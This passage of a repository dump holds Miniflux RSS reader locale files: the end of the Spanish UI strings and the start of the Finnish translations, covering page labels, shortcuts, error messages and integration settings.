\"page.about.build_date\": \"Fecha de compilación:\",\n    \"page.about.credits\": \"Créditos\",\n    \"page.about.db_usage\": \"Tamaño de la base de datos:\",\n    \"page.about.git_commit\": \"Commit de Git:\",\n    \"page.about.global_config_options\": \"Opciones de configuración global\",\n    \"page.about.go_version\": \"Go versión:\",\n    \"page.about.license\": \"Licencia:\",\n    \"page.about.postgres_version\": \"Postgres versión:\",\n    \"page.about.title\": \"Acerca de\",\n    \"page.about.version\": \"Versión:\",\n    \"page.add_feed.choose_feed\": \"Elegir una fuente\",\n    \"page.add_feed.label.url\": \"URL\",\n    \"page.add_feed.legend.advanced_options\": \"Opciones avanzadas\",\n    \"page.add_feed.no_category\": \"No hay categoría. Debe tener al menos una categoría.\",\n    \"page.add_feed.submit\": \"Encontrar una fuente\",\n    \"page.add_feed.title\": \"Nueva fuente\",\n    \"page.api_keys.never_used\": \"Nunca usado\",\n    \"page.api_keys.table.actions\": \"Acciones\",\n    \"page.api_keys.table.created_at\": \"Fecha de creación\",\n    \"page.api_keys.table.description\": \"Descripción\",\n    \"page.api_keys.table.last_used_at\": \"Último utilizado\",\n    \"page.api_keys.table.token\": \"simbólico\",\n    \"page.api_keys.title\": \"Claves API\",\n    \"page.categories.entries\": \"Artículos\",\n    \"page.categories.feed_count\": [\n        \"Hay %d fuente.\",\n        \"Hay %d fuentes.\"\n    ],\n    \"page.categories.feeds\": \"Fuentes\",\n    \"page.categories.no_feed\": \"Sin fuente.\",\n    \"page.categories.title\": \"Categorías\",\n    \"page.categories_count\": [\n        \"%d categoría\",\n        \"%d categorías\"\n    ],\n    \"page.category_label\": \"Categoría: %s\",\n    \"page.edit_category.title\": \"Editar categoría: %s\",\n    \"page.edit_feed.etag_header\": \"Cabecera de ETag:\",\n    \"page.edit_feed.last_check\": \"Última verificación:\",\n    \"page.edit_feed.last_modified_header\": \"Cabecera de LastModified:\",\n    \"page.edit_feed.last_parsing_error\": \"Último error de análisis\",\n    \"page.edit_feed.no_header\": \"Sin cabecera\",\n    \"page.edit_feed.title\": \"Editar fuente: %s\",\n    \"page.edit_user.title\": \"Editar usuario: %s\",\n    \"page.entry.attachments\": \"Archivos adjuntos\",\n    \"page.feeds.error_count\": [\n        \"%d error\",\n        \"%d errores\"\n    ],\n    \"page.feeds.last_check\": \"Última verificación:\",\n    \"page.feeds.next_check\": \"Próxima verificación:\",\n    \"page.feeds.read_counter\": \"Número de artículos leídos\",\n    \"page.feeds.title\": \"Fuentes\",\n    \"page.footer.elevator\": \"Volver arriba\",\n    \"page.history.title\": \"Historial\",\n    \"page.import.title\": \"Importar\",\n    \"page.integration.bookmarklet\": \"Marcapáginas\",\n    \"page.integration.bookmarklet.help\": \"Este enlace especial te permite suscribirte a un sitio de web directamente usando un marcador del navegador.\",\n    \"page.integration.bookmarklet.instructions\": \"Arrastrar y soltar este enlace a tus marcadores del navegador.\",\n    \"page.integration.bookmarklet.name\": \"Agregar a Miniflux\",\n    \"page.integration.miniflux_api\": \"API de Miniflux\",\n    \"page.integration.miniflux_api_endpoint\": \"Extremo de API\",\n    \"page.integration.miniflux_api_password\": \"Contraseña\",\n    \"page.integration.miniflux_api_password_value\": \"Contraseña de tu cuenta\",\n    \"page.integration.miniflux_api_username\": \"Nombre de usuario\",\n    \"page.integrations.title\": \"Integraciones\",\n    \"page.keyboard_shortcuts.close_modal\": \"Cerrar el cuadro de diálogo modal\",\n    \"page.keyboard_shortcuts.download_content\": \"Descargar el contenido original\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"Ir al elemento inferior\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"Ir a las categorías\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"Ir a la fuente\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"Ir a las fuentes\",\n    \"page.keyboard_shortcuts.go_to_history\": \"Ir al historial\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"Ir al elemento siguiente\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"Ir al página siguiente\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"Ir al elemento anterior\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"Ir al página anterior\",\n    \"page.keyboard_shortcuts.go_to_search\": \"Centrarse en el cuadro de búsqueda\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"Ir a la configuración\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"Ir a los marcadores\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"Ir al elemento superior\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"Ir a los no leídos\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"Marcar página actual como leída\",\n    \"page.keyboard_shortcuts.open_comments\": \"Abrir el enlace de comentarios\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"Abrir enlace de comentarios en la pestaña actual\",\n    \"page.keyboard_shortcuts.open_item\": \"Abrir el elemento seleccionado\",\n    \"page.keyboard_shortcuts.open_original\": \"Abrir el enlace original\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Abrir enlace original en la pestaña actual\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Refrescar todas las fuentes en segundo plano\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Quitar esta fuente\",\n    \"page.keyboard_shortcuts.save_article\": \"Guardar artículo\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Desplazar elemento hacia arriba\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Mostrar atajos de teclado\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Acciones\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Navegación de artículos\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Navegación de páginas\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Navegación de secciones\",\n    \"page.keyboard_shortcuts.title\": \"Atajos de teclado\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Agregar o quitar marcador\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Alternar abrir/cerrar adjuntos de la entrada\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Marcar como leído o no leído, enfoque siguiente\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Marcar como leído o no leído, foco anterior\",\n    \"page.login.google_signin\": \"Iniciar sesión con tu cuenta de Google\",\n    \"page.login.oidc_signin\": \"Iniciar sesión con tu cuenta de %s\",\n    \"page.login.title\": \"Iniciar sesión\",\n    \"page.login.webauthn_login\": \"Iniciar sesión con clave de acceso\",\n    \"page.login.webauthn_login.error\": \"No se puede iniciar sesión con la clave de acceso\",\n    \"page.login.webauthn_login.help\": \"Por favor, introduce tu nombre de usuario si usas una clave de seguridad. Esto no es necesario si usas una Passkey (credenciales detectables).\",\n    \"page.new_api_key.title\": \"Nueva clave API\",\n    \"page.new_category.title\": \"Nueva categoría\",\n    \"page.new_user.title\": \"Nuevo usuario\",\n    \"page.offline.message\": \"Estas desconectado\",\n    \"page.offline.refresh_page\": \"Intenta actualizar la página\",\n    \"page.offline.title\": \"Modo offline\",\n    \"page.read_entry_count\": [\n        \"%d artículo leído\",\n        \"%d artículos leídos\"\n    ],\n    \"page.search.title\": \"Resultados de la búsqueda\",\n    \"page.sessions.table.actions\": \"Acciones\",\n    \"page.sessions.table.current_session\": \"Sesión actual\",\n    \"page.sessions.table.date\": \"Fecha\",\n    \"page.sessions.table.ip\": \"Dirección de IP\",\n    \"page.sessions.table.user_agent\": \"Agente de usuario\",\n    \"page.sessions.title\": \"Sesiones\",\n    \"page.settings.link_google_account\": \"Vincular mi cuenta de Google\",\n    \"page.settings.link_oidc_account\": \"Vincular mi cuenta de %s\",\n    \"page.settings.title\": \"Ajustes\",\n    \"page.settings.unlink_google_account\": \"Desvincular mi cuenta de Google\",\n    \"page.settings.unlink_oidc_account\": \"Desvincular mi cuenta de %s\",\n    \"page.settings.webauthn.actions\": \"Acciones\",\n    \"page.settings.webauthn.added_on\": \"Añadido\",\n    \"page.settings.webauthn.delete\": [\n        \"Eliminar %d clave de acceso\",\n        \"Eliminar %d claves de acceso\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Usado por última vez\",\n    \"page.settings.webauthn.passkey_name\": \"Nombre de clave de acceso\",\n    \"page.settings.webauthn.passkeys\": \"Claves de acceso\",\n    \"page.settings.webauthn.register\": \"Registrar clave de acceso\",\n    \"page.settings.webauthn.register.error\": \"No se puede registrar la clave de acceso\",\n    \"page.shared_entries.title\": \"Artículos compartidos\",\n    \"page.shared_entries_count\": [\n        \"%d artículo compartido\",\n        \"%d artículos compartidos\"\n    ],\n    \"page.starred.title\": \"Marcadores\",\n    \"page.starred_entry_count\": [\n        \"%d artículo marcado\",\n        \"%d artículos marcados\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d artículo en total\",\n        \"%d artículos en total\"\n    ],\n    \"page.unread.title\": \"No leídos\",\n    \"page.unread_entry_count\": [\n        \"%d artículo no leído\",\n        \"%d artículos no leídos\"\n    ],\n    \"page.users.actions\": \"Acciones\",\n    \"page.users.admin.no\": \"No\",\n    \"page.users.admin.yes\": \"Sí\",\n    \"page.users.is_admin\": \"Administrador\",\n    \"page.users.last_login\": \"Último ingreso\",\n    \"page.users.never_logged\": \"Nunca\",\n    \"page.users.title\": \"Usuarios\",\n    \"page.users.username\": \"Nombre de usuario\",\n    \"page.webauthn_rename.title\": \"Renombrar clave de acceso\",\n    \"pagination.first\": \"Primero\",\n    \"pagination.last\": \"Último\",\n    \"pagination.next\": \"Siguiente\",\n    \"pagination.previous\": \"Anterior\",\n    \"search.label\": \"Buscar\",\n    \"search.placeholder\": \"Búsqueda...\",\n    \"search.submit\": \"Buscar\",\n    \"skip_to_content\": \"Saltar al contenido\",\n    \"time_elapsed.days\": [\n        \"hace %d día\",\n        \"hace %d días\"\n    ],\n    \"time_elapsed.hours\": [\n        \"hace %d hora\",\n        \"hace %d horas\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"hace %d minuto\",\n        \"hace %d minutos\"\n    ],\n    \"time_elapsed.months\": [\n        \"hace %d mes\",\n        \"hace %d meses\"\n    ],\n    \"time_elapsed.not_yet\": \"todavía no\",\n    \"time_elapsed.now\": \"ahora mismo\",\n    \"time_elapsed.weeks\": [\n        \"hace %d semana\",\n        \"hace %d semanas\"\n    ],\n    \"time_elapsed.years\": [\n        \"hace %d año\",\n        \"hace %d años\"\n    ],\n    \"time_elapsed.yesterday\": \"ayer\",\n    \"tooltip.keyboard_shortcuts\": \"Atajo de teclado: %s\",\n    \"tooltip.logged_user\": \"Registrado como %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/fi_FI.json",
    "content": "{\n    \"action.cancel\": \"peru\",\n    \"action.download\": \"Lataa\",\n    \"action.edit\": \"Muokkaa\",\n    \"action.home_screen\": \"Lisää aloitusnäytölle\",\n    \"action.import\": \"Tuo\",\n    \"action.login\": \"Kirjaudu sisään\",\n    \"action.or\": \"tai\",\n    \"action.remove\": \"Poista\",\n    \"action.remove_feed\": \"Poista tämä syöte\",\n    \"action.save\": \"Tallenna\",\n    \"action.subscribe\": \"Tilaa\",\n    \"action.update\": \"Päivitä\",\n    \"alert.account_linked\": \"Ulkoinen tilisi on nyt linkitetty!\",\n    \"alert.account_unlinked\": \"Ulkoinen tilisi on nyt irrotettu!\",\n    \"alert.background_feed_refresh\": \"Kaikki syötteet päivitetään taustalla. Voit jatkaa Minifluxin käyttöä tämän prosessin aikana.\",\n    \"alert.feed_error\": \"Tässä syötteessä on ongelma\",\n    \"alert.no_starred\": \"Tällä hetkellä ei ole kirjanmerkkiä.\",\n    \"alert.no_category\": \"Ei ole kategoriaa.\",\n    \"alert.no_category_entry\": \"Tässä kategoriassa ei ole artikkeleita.\",\n    \"alert.no_feed\": \"Sinulla ei ole tilauksia.\",\n    \"alert.no_feed_entry\": \"Tässä syötteessä ei ole artikkeleita.\",\n    \"alert.no_feed_in_category\": \"Tälle kategorialle ei ole tilausta.\",\n    \"alert.no_history\": \"Tällä hetkellä ei ole historiaa.\",\n    \"alert.no_search_result\": \"Ei hakua vastaavia tuloksia.\",\n    \"alert.no_shared_entry\": \"Jaettua artikkelia ei ole.\",\n    \"alert.no_tag_entry\": \"Tätä tunnistetta vastaavia merkintöjä ei ole.\",\n    \"alert.no_unread_entry\": \"Ei ole lukemattomia artikkeleita.\",\n    \"alert.no_user\": \"Olet ainoa käyttäjä.\",\n    \"alert.prefs_saved\": \"Asetukset tallennettu!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Olet käynnistänyt liian monta syötteen päivitystä. Odota %d minuutti ennen kuin yrität uudelleen.\",\n        \"Olet käynnistänyt liian monta syötteen päivitystä. Odota %d minuuttia ennen kuin yrität uudelleen.\"\n    ],\n    \"confirm.loading\": \"Käynnissä...\",\n    \"confirm.no\": \"ei\",\n    \"confirm.question\": \"Oletko varma?\",\n    \"confirm.question.refresh\": \"Haluatko pakottaa päivityksen?\",\n    \"confirm.yes\": \"kyllä\",\n    \"enclosure_media_controls.seek\": \"Siirry:\",\n    \"enclosure_media_controls.seek.title\": \"Siirry %s sekuntia\",\n    \"enclosure_media_controls.speed\": \"Nopeus:\",\n    \"enclosure_media_controls.speed.faster\": \"Nopeammin\",\n    \"enclosure_media_controls.speed.faster.title\": \"Nopeampi %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Palauta\",\n    \"enclosure_media_controls.speed.reset.title\": \"Palauta nopeus 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Hitaammin\",\n    \"enclosure_media_controls.speed.slower.title\": \"Hitaampi %sx\",\n    \"entry.starred.toast.off\": \"Tähdettömät\",\n    \"entry.starred.toast.on\": \"Tähdellä merkityt\",\n    \"entry.starred.toggle.off\": \"Poista suosikeista\",\n    \"entry.starred.toggle.on\": \"Lisää suosikkeihin\",\n    \"entry.comments.label\": \"Kommentit\",\n    \"entry.comments.title\": \"Näytä kommentit\",\n    \"entry.estimated_reading_time\": [\n        \"%d minuutin lukuaika\",\n        \"%d minuutin lukuaika\"\n    ],\n    \"entry.external_link.label\": \"Ulkoinen linkki\",\n    \"entry.save.completed\": \"Valmis!\",\n    \"entry.save.label\": \"Tallenna\",\n    \"entry.save.title\": \"Tallenna tämä artikkeli\",\n    \"entry.save.toast.completed\": \"Artikkeli tallennettu\",\n    \"entry.scraper.completed\": \"Valmis!\",\n    \"entry.scraper.label\": \"Lataa\",\n    \"entry.scraper.title\": \"Nouda alkuperäinen sisältö\",\n    \"entry.share.label\": \"Jaa\",\n    \"entry.share.title\": \"Jaa tämä artikkeli\",\n    \"entry.shared_entry.label\": \"Jaa\",\n    \"entry.shared_entry.title\": \"Avaa julkinen linkki\",\n    \"entry.state.loading\": \"Ladataan...\",\n    \"entry.state.saving\": \"Tallennetaan...\",\n    \"entry.status.mark_as_read\": \"Merkitse luetuksi\",\n    \"entry.status.mark_as_unread\": \"Merkitse lukemattomaksi\",\n    \"entry.status.title\": \"Vaihda artikkelin tilaa\",\n    \"entry.status.toast.read\": \"Merkitty luetuksi\",\n    \"entry.status.toast.unread\": \"Merkitty lukemattomaksi\",\n    \"entry.tags.label\": \"Tunnisteet:\",\n    \"entry.tags.more_tags_label\": [\n        \"Näytä %d lisää tunnistetta\",\n        \"Näytä %d lisää tunnisteita\"\n    ],\n    \"entry.unshare.label\": \"Poista jako\",\n    \"error.api_key_already_exists\": \"API-avain on jo olemassa.\",\n    \"error.bad_credentials\": \"Virheellinen käyttäjänimi tai salasana.\",\n    \"error.category_already_exists\": \"Kategoria on jo olemassa. \",\n    \"error.category_not_found\": \"Tämä kategoria ei ole olemassa tai se ei kuulu tälle käyttäjälle.\",\n    \"error.database_error\": \"Tietokantavirhe: %v.\",\n    \"error.different_passwords\": \"Salasanat eivät ole samat.\",\n    \"error.duplicate_fever_username\": \"Joku muu käyttää jo samaa Fever-käyttäjänimeä!\",\n    \"error.duplicate_googlereader_username\": \"On jo joku muu, jolla on sama Google-syötteenlukijan käyttäjätunnus!\",\n    \"error.duplicate_linked_account\": \"Joku on jo yhdistetty tähän palveluntarjoajaan!\",\n    \"error.duplicated_feed\": \"Tämä syöte on jo olemassa.\",\n    \"error.empty_file\": \"Tiedosto on tyhjä.\",\n    \"error.entries_per_page_invalid\": \"Artikkelien määrä sivulla ei kelpaa.\",\n    \"error.feed_already_exists\": \"Tämä syöte on jo olemassa.\",\n    \"error.feed_category_not_found\": \"Tätä kategoriaa ei ole olemassa tai se ei kuulu tälle käyttäjälle.\",\n    \"error.feed_format_not_detected\": \"Syötteen muotoa ei voitu tunnistaa: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"Estolistan sääntö on virheellinen.\",\n    \"error.feed_invalid_keeplist_rule\": \"Säilytettävien listan sääntö on virheellinen.\",\n    \"error.feed_mandatory_fields\": \"URL-osoite ja kategoria ovat pakollisia.\",\n    \"error.feed_not_found\": \"Tämä syöte ei ole olemassa tai se ei kuulu tälle käyttäjälle.\",\n    \"error.feed_title_not_empty\": \"Syötteen otsikko ei voi olla tyhjä.\",\n    \"error.feed_url_not_empty\": \"Syötteen URL-osoite ei voi olla tyhjä.\",\n    \"error.fields_mandatory\": \"Kaikki kentät ovat pakollisia.\",\n    \"error.http_bad_gateway\": \"Verkkosivusto ei ole tällä hetkellä saatavilla huonon yhdyskäytävän virheen vuoksi. Ongelma ei ole Miniflux-puolella. Yritä uudelleen myöhemmin.\",\n    \"error.http_body_read\": \"HTTP-rungon lukeminen epäonnistui: %v.\",\n    \"error.http_client_error\": \"HTTP-asiakasvirhe: %v.\",\n    \"error.http_empty_response\": \"HTTP-vastaus on tyhjä. Sivusto saattaa käyttää bottisuojausta?\",\n    \"error.http_empty_response_body\": \"HTTP-vastauksen runko on tyhjä.\",\n    \"error.http_forbidden\": \"Pääsy tälle sivustolle on kielletty. Sivustolla saattaa olla bottisuojaus?\",\n    \"error.http_gateway_timeout\": \"Sivusto ei ole nyt käytettävissä yhdyskäytävän aikakatkaisun vuoksi. Ongelma ei ole Minifluxin puolella. Yritä myöhemmin uudelleen.\",\n    \"error.http_internal_server_error\": \"Sivusto ei ole nyt käytettävissä palvelinvirheen vuoksi. Ongelma ei ole Minifluxin puolella. Yritä myöhemmin uudelleen.\",\n    \"error.http_not_authorized\": \"Pääsy tälle sivustolle ei ole sallittu. Käyttäjänimi tai salasana voi olla väärä.\",\n    \"error.http_resource_not_found\": \"Pyydettyä resurssia ei löytynyt. Tarkista URL-osoite.\",\n    \"error.http_response_too_large\": \"HTTP-vastaus on liian suuri. Voit kasvattaa rajan yleisasetuksissa (vaatii palvelimen uudelleenkäynnistyksen).\",\n    \"error.http_service_unavailable\": \"Sivusto ei ole nyt käytettävissä sisäisen palvelinvirheen vuoksi. Ongelma ei ole Minifluxin puolella. Yritä myöhemmin uudelleen.\",\n    \"error.http_too_many_requests\": \"Miniflux lähetti liikaa pyyntöjä tälle sivustolle. Yritä myöhemmin uudelleen tai muuta sovelluksen asetuksia.\",\n    \"error.http_unexpected_status_code\": \"Sivusto ei ole nyt käytettävissä odottamattoman HTTP-tilakoodin %d vuoksi. Ongelma ei ole Minifluxin puolella. Yritä myöhemmin uudelleen.\",\n    \"error.invalid_categories_sorting_order\": \"Virheellinen kategorioiden lajittelujärjestys.\",\n    \"error.invalid_default_home_page\": \"Väärä oletusarvoinen kotisivu!\",\n    \"error.invalid_display_mode\": \"Virheellinen verkkosovelluksen näyttötila.\",\n    \"error.invalid_entry_direction\": \"Virheellinen merkintäsuunta.\",\n    \"error.invalid_entry_order\": \"Virheellinen artikkelin lajittelu.\",\n    \"error.invalid_feed_proxy_url\": \"Virheellinen välityspalvelimen URL.\",\n    \"error.invalid_feed_url\": \"Virheellinen syötteen URL-osoite.\",\n    \"error.invalid_gesture_nav\": \"Virheellinen ele-navigointi.\",\n    \"error.invalid_language\": \"Virheellinen kieli.\",\n    \"error.invalid_site_url\": \"Virheellinen sivuston URL-osoite.\",\n    \"error.invalid_theme\": \"Virheellinen teema.\",\n    \"error.invalid_timezone\": \"Virheellinen aikavyöhyke.\",\n    \"error.network_operation\": \"Miniflux ei tavoita tätä sivustoa verkkovirheen vuoksi: %v.\",\n    \"error.network_timeout\": \"Tämä sivusto on liian hidas ja pyyntö aikakatkaistiin: %v\",\n    \"error.password_min_length\": \"Salasanassa on oltava vähintään 6 merkkiä.\",\n    \"error.proxy_url_not_empty\": \"Välityspalvelimen URL ei voi olla tyhjä.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Virheellinen estosääntö: säännöltä #%d puuttuu kelvollinen kentän nimi (vaihtoehdot: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Virheellinen estosääntö: säännön #%d kuvio ei ole kelvollinen regex\",\n    \"error.settings_block_rule_regex_required\": \"Virheellinen estosääntö: säännöltä #%d puuttuu kuvio\",\n    \"error.settings_block_rule_separator_required\": \"Virheellinen estosääntö: säännön #%d kuvio tulee erottaa merkillä '='\",\n    \"error.settings_invalid_domain_list\": \"Virheellinen verkkotunnuslista. Anna välilyönnein eroteltu luettelo.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Virheellinen säilytyssääntö: säännöltä #%d puuttuu kelvollinen kentän nimi (vaihtoehdot: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Virheellinen säilytyssääntö: säännön #%d kuvio ei ole kelvollinen regex\",\n    \"error.settings_keep_rule_regex_required\": \"Virheellinen säilytyssääntö: säännöltä #%d puuttuu kuvio\",\n    \"error.settings_keep_rule_separator_required\": \"Virheellinen säilytyssääntö: säännön #%d kuvio tulee erottaa merkillä '='\",\n    \"error.settings_mandatory_fields\": \"Käyttäjätunnus, teema, kieli ja aikavyöhyke ovat pakollisia.\",\n    \"error.settings_media_playback_rate_range\": \"Toistonopeus on alueen ulkopuolella\",\n    \"error.settings_reading_speed_is_positive\": \"Lukunopeuksien on oltava positiivisia kokonaislukuja.\",\n    \"error.site_url_not_empty\": \"Sivuston URL-osoite ei voi olla tyhjä.\",\n    \"error.subscription_not_found\": \"Tilausta ei löydy.\",\n    \"error.title_required\": \"Otsikko on pakollinen.\",\n    \"error.tls_error\": \"TLS-virhe: %q. Voit halutessasi poistaa TLS-tarkistuksen syöteasetuksista.\",\n    \"error.unable_to_create_api_key\": \"API-avainta ei voi luoda.\",\n    \"error.unable_to_create_category\": \"Kategoriaa ei voi luoda.\",\n    \"error.unable_to_create_user\": \"Käyttäjää ei voi luoda.\",\n    \"error.unable_to_detect_rssbridge\": \"Syötettä ei voitu havaita RSS-Bridgea käyttäen: %v.\",\n    \"error.unable_to_parse_feed\": \"Tätä syötettä ei voitu jäsentää: %v.\",\n    \"error.unable_to_update_category\": \"Kategoriaa  ei voi päivittää.\",\n    \"error.unable_to_update_feed\": \"Syötettä ei voi päivittää.\",\n    \"error.unable_to_update_user\": \"Käyttäjää ei voi päivittää.\",\n    \"error.unlink_account_without_password\": \"Sinun on määritettävä salasana, muuten et voi kirjautua uudelleen.\",\n    \"error.user_already_exists\": \"Käyttäjä on jo olemassa.\",\n    \"error.user_mandatory_fields\": \"Käyttäjätunnus on pakollinen.\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token ja Organization Slug vaaditaan\",\n    \"form.api_key.label.description\": \"API-avaimen nimi\",\n    \"form.category.hide_globally\": \"Piilota artikkelit lukemattomien listassa\",\n    \"form.category.label.title\": \"Otsikko\",\n    \"form.feed.fieldset.general\": \"Yleiset\",\n    \"form.feed.fieldset.integration\": \"Kolmannen osapuolen palvelut\",\n    \"form.feed.fieldset.network_settings\": \"Verkkoasetukset\",\n    \"form.feed.fieldset.rules\": \"Säännöt\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Salli itseallekirjoitetut tai virheelliset varmenteet\",\n    \"form.feed.label.apprise_service_urls\": \"Apprise-palvelujen URL-osoitteet pilkuilla eroteltuna\",\n    \"form.feed.label.block_filter_entry_rules\": \"Merkinnän estosäännöt\",\n    \"form.feed.label.blocklist_rules\": \"Regex-pohjaiset estosuodattimet\",\n    \"form.feed.label.category\": \"Kategoria\",\n    \"form.feed.label.cookie\": \"Aseta evästeet\",\n    \"form.feed.label.crawler\": \"Nouda alkuperäinen sisältö\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Kuvaus\",\n    \"form.feed.label.disable_http2\": \"Poista HTTP/2 käytöstä sormenjälkien välttämiseksi\",\n    \"form.feed.label.disabled\": \"Älä päivitä tätä syötettä\",\n    \"form.feed.label.feed_password\": \"Syötteen salasana\",\n    \"form.feed.label.feed_url\": \"Syötteen URL-osoite\",\n    \"form.feed.label.feed_username\": \"Syötteen käyttäjätunnus\",\n    \"form.feed.label.fetch_via_proxy\": \"Käytä sovellustasolla määritettyä välityspalvelinta\",\n    \"form.feed.label.hide_globally\": \"Piilota artikkelit lukemattomien listassa\",\n    \"form.feed.label.ignore_http_cache\": \"Ohita HTTP-välimuisti\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Merkinnän sallimissäännöt\",\n    \"form.feed.label.keeplist_rules\": \"Regex-pohjaiset säilytyssuodattimet\",\n    \"form.feed.label.no_media_player\": \"Ei mediasoitinta (ääni/video)\",\n    \"form.feed.label.ntfy_activate\": \"Lähetä merkinnät ntfy-palveluun\",\n    \"form.feed.label.ntfy_default_priority\": \"Ntfy-oletusprioriteetti\",\n    \"form.feed.label.ntfy_high_priority\": \"Ntfy-korkea prioriteetti\",\n    \"form.feed.label.ntfy_low_priority\": \"Ntfy-matala prioriteetti\",\n    \"form.feed.label.ntfy_max_priority\": \"Ntfy-enimmäisprioriteetti\",\n    \"form.feed.label.ntfy_min_priority\": \"Ntfy-vähimmäisprioriteetti\",\n    \"form.feed.label.ntfy_priority\": \"Ntfy-prioriteetti\",\n    \"form.feed.label.ntfy_topic\": \"Ntfy-aihe (valinnainen)\",\n    \"form.feed.label.proxy_url\": \"Välityspalvelimen URL\",\n    \"form.feed.label.pushover_activate\": \"Lähetä merkinnät pushover.net-palveluun\",\n    \"form.feed.label.pushover_default_priority\": \"Pushover-oletusprioriteetti\",\n    \"form.feed.label.pushover_high_priority\": \"Pushover-korkea prioriteetti\",\n    \"form.feed.label.pushover_low_priority\": \"Pushover-matala prioriteetti\",\n    \"form.feed.label.pushover_max_priority\": \"Pushover-enimmäisprioriteetti\",\n    \"form.feed.label.pushover_min_priority\": \"Pushover-vähimmäisprioriteetti\",\n    \"form.feed.label.pushover_priority\": \"Pushover-viestin prioriteetti\",\n    \"form.feed.label.rewrite_rules\": \"Sisällön uudelleenkirjoitussäännöt\",\n    \"form.feed.label.scraper_rules\": \"Scraper-säännöt\",\n    \"form.feed.label.site_url\": \"Sivuston URL-osoite\",\n    \"form.feed.label.title\": \"Otsikko\",\n    \"form.feed.label.urlrewrite_rules\": \"URL-osoitteen uudelleenkirjoitussäännöt\",\n    \"form.feed.label.user_agent\": \"Ohita oletuskäyttäjäagentti\",\n    \"form.feed.label.webhook_url\": \"Ohita oletus-webhook-osoite\",\n    \"form.import.label.file\": \"OPML-tiedosto\",\n    \"form.import.label.url\": \"URL-osoite\",\n    \"form.integration.archiveorg_activate\": \"Työnnä merkinnät osoitteeseen archive.org\",\n    \"form.integration.apprise_activate\": \"Lähetä merkinnät Appriseen\",\n    \"form.integration.apprise_services_url\": \"Pilkuilla eroteltu Apprise-palvelujen URL-lista\",\n    \"form.integration.apprise_url\": \"Apprise API -osoite\",\n    \"form.integration.betula_activate\": \"Tallenna merkinnät Betulaan\",\n    \"form.integration.betula_token\": \"Betula-tunnus\",\n    \"form.integration.betula_url\": \"Betula-palvelimen URL\",\n    \"form.integration.cubox_activate\": \"Tallenna merkinnät Cuboxiin\",\n    \"form.integration.cubox_api_link\": \"Cubox API -linkki\",\n    \"form.integration.discord_activate\": \"Lähetä merkinnät Discordiin\",\n    \"form.integration.discord_webhook_link\": \"Discord-webhook-linkki\",\n    \"form.integration.espial_activate\": \"Tallenna artikkelit Espialiin\",\n    \"form.integration.espial_api_key\": \"Espial API-avain\",\n    \"form.integration.espial_endpoint\": \"Espial API-päätepiste\",\n    \"form.integration.espial_tags\": \"Espial-tagit\",\n    \"form.integration.fever_activate\": \"Ota Fever API käyttöön\",\n    \"form.integration.fever_endpoint\": \"Fever API -päätepiste:\",\n    \"form.integration.fever_password\": \"Fever-salasana\",\n    \"form.integration.fever_username\": \"Fever-käyttäjätunnus\",\n    \"form.integration.googlereader_activate\": \"Aktivoi Google Reader API\",\n    \"form.integration.googlereader_endpoint\": \"Google Reader API -päätepiste:\",\n    \"form.integration.googlereader_password\": \"Google-lukijan salasana\",\n    \"form.integration.googlereader_username\": \"Google-lukijan käyttäjätunnus\",\n    \"form.integration.instapaper_activate\": \"Tallenna artikkelit Instapaperiin\",\n    \"form.integration.instapaper_password\": \"Instapaper-salasana\",\n    \"form.integration.instapaper_username\": \"Instapaper-käyttäjätunnus\",\n    \"form.integration.karakeep_activate\": \"Tallenna artikkelit Karakeepiin\",\n    \"form.integration.karakeep_api_key\": \"Karakeep API-avain\",\n    \"form.integration.karakeep_url\": \"Karakeep API-päätepiste\",\n    \"form.integration.karakeep_tags\": \"Karakeep-tunnisteet\",\n    \"form.integration.linkace_activate\": \"Tallenna merkinnät LinkAceen\",\n    \"form.integration.linkace_api_key\": \"LinkAce API -avain\",\n    \"form.integration.linkace_check_disabled\": \"Poista linkkitarkistus käytöstä\",\n    \"form.integration.linkace_endpoint\": \"LinkAce API -päätepiste\",\n    \"form.integration.linkace_is_private\": \"Merkitse linkki yksityiseksi\",\n    \"form.integration.linkace_tags\": \"LinkAce-tunnisteet\",\n    \"form.integration.linkding_activate\": \"Tallenna artikkelit 